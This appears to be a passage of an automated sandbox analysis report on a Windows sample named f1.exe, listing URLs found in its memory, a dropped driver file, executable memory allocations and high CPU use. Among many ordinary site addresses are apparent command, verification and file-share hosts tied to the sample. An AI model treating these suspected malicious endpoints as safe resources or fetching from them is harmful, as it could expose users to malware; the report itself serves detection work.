Source: svchost.exe, 00000005.00000002.3740078565.0000023D29A87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3742828893.0000023D2A302000.00000004.00000020.00020000.00000000.sdmp, regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.5.dr	String found in binary or memory: http://standards.iso.org/iso/19770/-2/2009/schema.xsd
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-nupgrajznn.cn-shanghai.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-wgfgnkosmo.cn-qingdao.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-wivqmpesvz.cn-zhangjiakou.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-time-xbdcaygxjb.cn-beijing.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://time-timeget-bkjjdrkcip.cn-hangzhou.fcapp.run
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://tower.im/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://w7000.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://wallstreetcn.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://wulancabucs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.10jqka.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.1688.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.17173.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.18183.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.21food.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.58pic.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.64365.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.7k7k.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.9game.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.aliyun.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.asmag.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.asus.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.autohome.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.baidu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.bejson.com/
Source: svchost.exe, 00000000.00000002.1365176396.000002803A813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.book118.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.bootcss.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.cctv.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.cdstm.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.chuangkit.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.cifnews.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.cr173.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ctrip.com/
Source: f1.exe, 00000006.00000003.1649619607.0000000008E42000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.douyin.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.downxia.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.duba.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.duote.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.eastmoney.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.elecfans.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ems.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.findlaw.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.fobshanghai.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.geekbang.org/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.guancha.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.hao123.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.hichina.com/
Source: f1.exe, 00000006.00000002.3758373279.0000000005CE9000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758551672.0000000005D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hphu.com
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.huawei.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.hudong.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.hupu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.huxiu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.i4.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ic.net.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ichuanglan.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iconfont.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ih5.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.imiker.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ip138.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ipo.hk/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iqiyi.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.it1352.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.ixigua.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jb51.net/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jd.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jdwx.info/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jianguoyun.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jisilu.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.jmw.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.juming.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.kafan.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.kanzhun.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.kuaidi100.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.kuaishou.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.kugou.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.mi.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.miguvideo.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.mockplus.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.netease.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.pcauto.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.qiniu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.qq.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.saraba1st.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.sina.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.sinacloud.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.so.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.sogou.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.sohu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.solidot.org/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.tencent.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.tmall.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.tudou.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.uisdc.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.vivo.com.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.west.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.winshang.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.x-mol.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.xiachufang.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.xitongzhijia.net/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.xunlei.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.yiche.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.yidianzixun.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.youth.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.yunzhijia.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.zhihu.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.zto.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://xianggangcs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://xiaoman.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://xinancs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://xinics.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://xinjiapocs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://yanzheng.appchizi.com/
Source: f1.exe, 00000006.00000002.3758519822.0000000005D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yanzheng.appchizi.com/kss_io/io.php?v=13&b=1&s=10000099
Source: f1.exe, 00000006.00000002.3758519822.0000000005D52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yanzheng.appchizi.com/kss_io/io.php?v=13&b=1&s=10000099.F(
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://youdao.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/http://wulancabucs.oss-accelerate.aliyuncs.com/http
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://User-Agent:Mozilla/5.0
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000000.00000003.1364143562.000002803A86E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365871625.000002803A870000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364445430.000002803A85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364320623.000002803A85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000000.00000003.1364218577.000002803A867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000000.00000002.1365899471.000002803A876000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364058421.000002803A874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364445430.000002803A85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365799626.000002803A868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364218577.000002803A867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000000.00000002.1365315357.000002803A841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000000.00000003.1364534284.000002803A831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000002.1365315357.000002803A841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364320623.000002803A85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365461275.000002803A844000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365799626.000002803A868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364218577.000002803A867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000000.00000003.1364476435.000002803A849000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364534284.000002803A831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365461275.000002803A844000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365289931.000002803A837000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364476435.000002803A849000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364534284.000002803A831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365461275.000002803A844000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365289931.000002803A837000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364361180.000002803A85D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.90yundian.com/liebiao/ADB14925EB9FA1FE
Source: f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.90yundian.com/liebiao/BB428837B05300DF
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwzm.lanzouf.com/b012mj4sh
Source: f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwzm.lanzouj.com/b013rv45c

Source: C:\Users\user\Desktop\f1.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\f1.exe	Memory allocated: 778A0000 page execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Memory allocated: 77090000 page execute and read and write			Jump to behavior

